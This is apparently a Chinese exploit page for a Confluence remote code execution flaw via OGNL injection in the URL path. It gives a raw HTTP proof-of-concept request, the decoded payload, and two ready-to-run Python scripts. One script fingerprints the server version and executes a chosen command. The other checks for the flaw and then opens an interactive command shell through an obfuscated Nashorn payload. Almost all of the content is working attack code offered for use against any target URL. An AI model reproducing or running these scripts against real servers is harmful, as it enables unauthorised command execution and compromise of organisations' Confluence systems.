Confluence远程代码执行漏洞
poc
GET //%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: XX.XX.XX.XX
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=3764D915B037D5A50D8025AA793E990A
Connection: close
payload
/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/
exp
import requests
import re
import sys
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()
def check(host):
r = requests.get(host+"/login.action", verify=False)
if(r.status_code == 200):
filter_version = re.findall("<span id='footer-build-information'>.*</span>",r.text)
if(len(filter_version)>=1):
version = filter_version[0].split("'>")[1].split('</')[0]
return version
else:
return False
else:
return host
def exploit(host, command):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Accept': '*/*',
}
r = requests.get(host + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False)
if(r.status_code == 302):
return r.headers['X-Cmd-Response']
else:
return False
if(len(sys.argv) < 3):
print("USE: python3 " + sys.argv[0] + " https://target.com cmd")
print("ex: python3 " + sys.argv[0] + " https://target.com id")
else:
target = sys.argv[1]
cmd = sys.argv[2]
version = check(target)
print("============ GET Confluence Version ============")
if(version):
print("Version: " + version)
else:
print("Version: Not Found")
print(exploit(target, cmd))
import urllib.parse
import urllib3
import sys
import base64
import requests as req
urllib3.disable_warnings()
def poc(target: str) -> bool:
ognl_expr = """${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Confluence",1)}"""
payload = "/%s/" % (ognl_expr)
try:
resp = req.get(target + "/%s/" % (urllib.parse.quote(payload)), verify=False, allow_redirects=False)
return True if "X-Confluence" in resp.headers.keys() else False
except Exception as e:
return False
def exp(target: str, cmd: str) -> str:
ognl_expr = """${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-Confluence",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,114,101,113,61,80,97,99,107,97,103,101,115,46,99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,119,101,98,119,111,114,107,46,83,101,114,118,108,101,116,65,99,116,105,111,110,67,111,110,116,101,120,116,46,103,101,116,82,101,113,117,101,115,116,40,41,59,13,10,118,97,114,32,99,109,100,61,114,101,113,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,115,101,97,114,99,104,34,41,59,13,10,118,97,114,32,114,117,110,116,105,109,101,61,80,97,99,107,97,103,101,115,46,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,59,13,10,118,97,114,32,101,110,99,111,100,101,114,61,80,97,99,107,97,103,101,115,46,106,97,118,97,46,117,116,105,108,46,66,97,115,101,54,52,46,103,101,116,69,110,99,111,100,101,114,40,41,59,13,10,101,110,99,111,100,101,114,46,101,110,99,111,100,101,84,111,83,116,114,105,110,103,40,110,101,119,32,80,97,99,107,97,103,101,115,46,106,97,118,97,46,117,116,105,108,46,83,99,97,110,110,101,114,40,114,117,110,116,105,109,101,46,101,120,101,99,40,99,109,100,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,41,46,117,115,101,68,101,108,105,109,105,116,101,114,40,34,92,92,65,34,41,46,110,101,120,116,40,41,46,103,101,116,66,121,116,101,115,40,41,41))"))}"""
"""
js code:
var req=Packages.com.opensymphony.webwork.ServletActionContext.getRequest();
var cmd=req.getParameter("search");
var runtime=Packages.java.lang.Runtime.getRuntime();
var encoder=Packages.java.util.Base64.getEncoder();
encoder.encodeToString(new Packages.java.util.Scanner(runtime.exec(cmd).getInputStream()).useDelimiter("\\A").next().getBytes())
"""
payload = "/%s/" % (ognl_expr)
params = {
'search': cmd
}
resp = req.get(target + "/%s/" % (urllib.parse.quote(payload)), params=params, verify=False,
allow_redirects=False)
return base64.b64decode(resp.headers.get("X-Confluence", "")).decode()
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Usage: python %s http://example.com/" % sys.argv[0])
exit(0)
target = sys.argv[1]
print("Target: %s" % sys.argv[1])
print("Checking target is vul...")
if not poc(target):
print("[%s] is not vul." % target)
exit(0)
else:
print("[%s] is vul!!!" % target)
while True:
command = input("$ ")
if command == 'q':
print("quit.")
exit(0)
else:
print("Execute command: %s" % command)
print(exp(target, command))